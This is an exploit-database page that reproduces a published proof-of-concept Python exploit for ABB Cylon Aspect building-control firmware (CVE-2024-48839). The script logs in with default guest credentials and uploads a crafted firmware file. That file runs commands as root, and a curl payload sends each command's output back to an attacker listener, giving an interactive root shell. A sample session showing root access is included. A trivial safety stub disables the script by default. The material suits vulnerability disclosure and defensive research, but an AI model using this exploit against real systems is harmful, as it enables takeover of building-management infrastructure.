Lucene search
K

ABB Cylon Aspect 3.08.02 (fileSystemUpdate.php) Remote Guest2Root Exploit

🗓️ 08 Dec 2024 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 355 Views

Remote exploit on ABB Cylon Aspect allows privilege escalation via malicious firmware update files.

Related
Code
<html><body><p>#!/usr/bin/env python
#
#
# ABB Cylon Aspect 3.08.02 (fileSystemUpdate.php) Remote Guest2Root Exploit
#
#
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb
# Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
#                   Firmware: &lt;=3.08.02
#
# Summary: ASPECT is an award-winning scalable building energy management
# and control solution designed to allow users seamless access to their
# building data through standard building protocols including smart devices.
#
# Desc: The ABB BMS/BAS controller is vulnerable to code execution and sudo misconfiguration
# flaws. An authenticated remote code execution vulnerability in the firmware update
# mechanism allows an attacker with valid credentials to escalate privileges and execute
# commands as root. The process involves uploading a crafted .aam file through fileSystemUpdate.php,
# which is then moved to /tmp and executed by fileSystemUpdateExecute.php. This script
# leverages sudo to run the upgrade-bundle.sh script, enabling the attacker to bypass
# input validation checks and execute arbitrary code, leading to full system compromise
# and unauthorized root access.
#
# ---------------------------------------------------------------------------------
#
# $ ./aamroot.py 192.168.73.31 192.168.73.8 --creds guest:guest
# [o] Exploit starting at 03.11.2024 02:16:56
# [o] Using credentials: guest:*****
# [o] Auth successfull.
# [o] PHPSESSID: da4f0620ba3abfbc8fb4f1da1e032fc7
# [o] Listening on 192.168.73.8:5555...
# [o] Building name: ["Airport Business Center"]
# [o] runtime.ver=v3.08.02
# [+] -&gt; [virtual] rootshell
#
# # id
# uid=0(root) gid=0(root) groups=0(root)
# # pwd
# /home/MIX_CMIX/htmlroot
# exit
# [o] Removing callback file.
# [!] Connection terminated.
#
# ---------------------------------------------------------------------------------
#
#
# Tested on: GNU/Linux 3.15.10 (armv7l)
#            GNU/Linux 3.10.0 (x86_64)
#            GNU/Linux 2.6.32 (x86_64)
#            Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
#            Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
#            PHP/7.3.11
#            PHP/5.6.30
#            PHP/5.4.16
#            PHP/4.4.8
#            PHP/5.3.3
#            AspectFT Automation Application Server
#            lighttpd/1.4.32
#            lighttpd/1.4.18
#            Apache/2.2.15 (CentOS)
#            OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
#            OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2024-5871
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5871.php
# CVE ID: CVE-2024-48839
# CVE URL: https://cve.org/CVERecord?id=CVE-2024-48839
#
#
# 21.04.2024
#
#

from colorama import init, Fore
from urllib.parse import quote
from time import sleep
import threading
import datetime
import requests
import socket
import re
import os
import sys

init()

def safe(*trigger, ):
    return True

def auth(target_ip, user, pwd):
    login_ep = f"http://{target_ip}/validate/login.php"
    payload = {
        'f_user' : user, # 'aamuser, guest'
        'f_pass' : pwd, # 'default, guest'
        'submit' : 'Login'
    }
    sess = requests.Session()
    r = sess.post(login_ep, data=payload)
    if r.status_code == 200 and 'PHPSESSID' in sess.cookies:
        print("[o] Auth successfull.")
        phpsessid = sess.cookies.get('PHPSESSID')
        print("[o] PHPSESSID:", phpsessid)
        return sess.cookies
    else:
        print("[!] Auth failed.")
        return None

def kacuj(target_ip, listen_ip, cmd, token=None, cookies=None):
    agentwho = "Phineas Phreak/19.84"
    payload = f"curl -A \"`{cmd}`\" {listen_ip}:5555"
    url = f"http://{target_ip}/fileSystemUpdate.php"

    headers = {
        "Content-Type": "multipart/form-data; boundary=----zeroscience",
        "User-Agent": agentwho
    }
    data = (
        "------zeroscience\r\n"
        f"Content-Disposition: form-data; name=\"userfile\"; filename={AAM}\r\n"
        "Content-Type: application/octet-stream\r\n\r\n"
        f"{payload}\r\n"
        '------zeroscience--\r\n'
    )
    try:
        r = requests.post(url, headers=headers, data=data, cookies=cookies)
        if r.status_code == 200:
            url_execute = f"http://{target_ip}/fileSystemUpdateExecute.php?file={AAM}"
            r = requests.get(url_execute, cookies=cookies)

            return r.content

    except requests.exceptions.RequestException as e:
        print(f"[!] Error sending payload: {e}")

    return None

def koj_slusha(listen_ip):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("0.0.0.0", 5555))
    s.listen(1)
    
    print(f"[o] Listening on {listen_ip}:5555...")

    while True:
        conn, addr = s.accept()
        try:
            data = conn.recv(9999)
            if not data:
                print("[!] Connection closed by remote host.")
                break
            dd = data.decode("utf-8", errors="ignore")
            uam = re.search(r"User-Agent:\s*(.*)\s*Host:", dd, re.DOTALL)
            if uam:
                print(uam.group(1), end="")
            else:
                print
                #print(f"[o] Full response:\n{dd}")
        except Exception as e:
            print(f"[!] Error while receiving data: {e}")
        finally:
            conn.close()

def main():
    if safe(True):
        print("\nSafety: \033[92mON\033[0m")
        exit(-17)
    else:
        next

    global AAM
    global start
    AAM = "firmware.aam"
    
    start = datetime.datetime.now()
    start = start.strftime("%d.%m.%Y %H:%M:%S")
    title = "\033[96mABB Cylon® ASPECT® Supervisory Building Control v3.08.02\033[0m"
    subtl = "\033[95m\t\t-&gt; Remote Root Exploit &lt;-\033[0m"
    prj = f"""
                 P   R   O   J   E   C   T\033[90m

                        .|
                        | |
                        |'|            ._____
                ___    |  |            |.   |' .---"|
        _    .-'   '-. |  |     .--'|  ||   | _|    |
     .-'|  _.|  |    ||   '-__  |   |  |    ||      |
     |' | |.    |    ||       | |   |  |    ||      |
 ____|  '-'     '    ""       '-'   '-.'    '`      |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ 
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ 
         ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
\033[0m
 {title}
 {subtl}
    """   
    if len(sys.argv) &lt; 4:
        print(prj)
        print("./aamroot.py <targetip> <listenip> <phpsessid user:pass="">")
        sys.exit(-0)

    target_ip = sys.argv[1]
    listen_ip = sys.argv[2]
    auth_arg = sys.argv[3]

    print("[o] Exploit starting at", start)

    if "--creds" in sys.argv:
        creds_index = sys.argv.index("--creds") + 1
        if creds_index &gt;= len(sys.argv):
            print("[!] Error: Missing credentials after --creds.")
            sys.exit(-1)

        user_pass = sys.argv[creds_index]
        if ":" not in user_pass:
            print("[!] Error: Invalid credentials format. Expected format: user:pass.")
            sys.exit(-2)

        user, pwd = user_pass.split(":")
        print(f"[o] Using credentials: {user}:{'*' * len(pwd)}")
        cookies = auth(target_ip, user, pwd)
    else:
        token = auth_arg
        cookies = {"PHPSESSID": token}
    if not cookies:
        sys.exit(-3)

    nishka = threading.Thread(target=koj_slusha, args=(listen_ip,))
    nishka.daemon = True
    nishka.start()

    bacname = f"http://{target_ip}/getApplicationNamesJS.php"
    r = requests.get(bacname)
    if r.status_code == 200:
        try:
            r = r.content
            decor = r.decode("utf-8")
        except UnicodeDecodeError:
            decor = r.decode("utf-8", errors="ignore")

        odg = re.search(r"var instanceDirectory=(.*?);", decor)
        if odg:
            cmd = "echo -ne \"[o] \" ; cat runtime/release.properties | grep -w 'runtime.ver'"
            print("[o] Building name:", odg.group(1))
            kacuj(target_ip, listen_ip, cmd, token=None, cookies=cookies)
            print("\033[92m[+] -&gt; [virtual] rootshell\033[0m\n")
        else:
            print("[o] Unknown building name.")
    sleep(0.01)

    while True:
        sleep(0.01)
        cmd = input("# ")
        if cmd.lower() in ["exit", "quit"]:
            print("[o] Removing callback file.")
            kacuj(target_ip, listen_ip, "rm /tmp/" + AAM, token=None, cookies=cookies)
            print("\033[91m[!] Connection terminated.\033[0m")
            os._exit(-17)

        kacuj(target_ip, listen_ip, cmd, token=None, cookies=cookies)

    nishka.join()

if __name__ == "__main__":
    main()
</phpsessid></listenip></targetip></p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Dec 2024 00:00Current
8.1High risk
Vulners AI Score8.1
CVSS 3.19.8 - 10
CVSS 49.3
EPSS0.02846
SSVC
355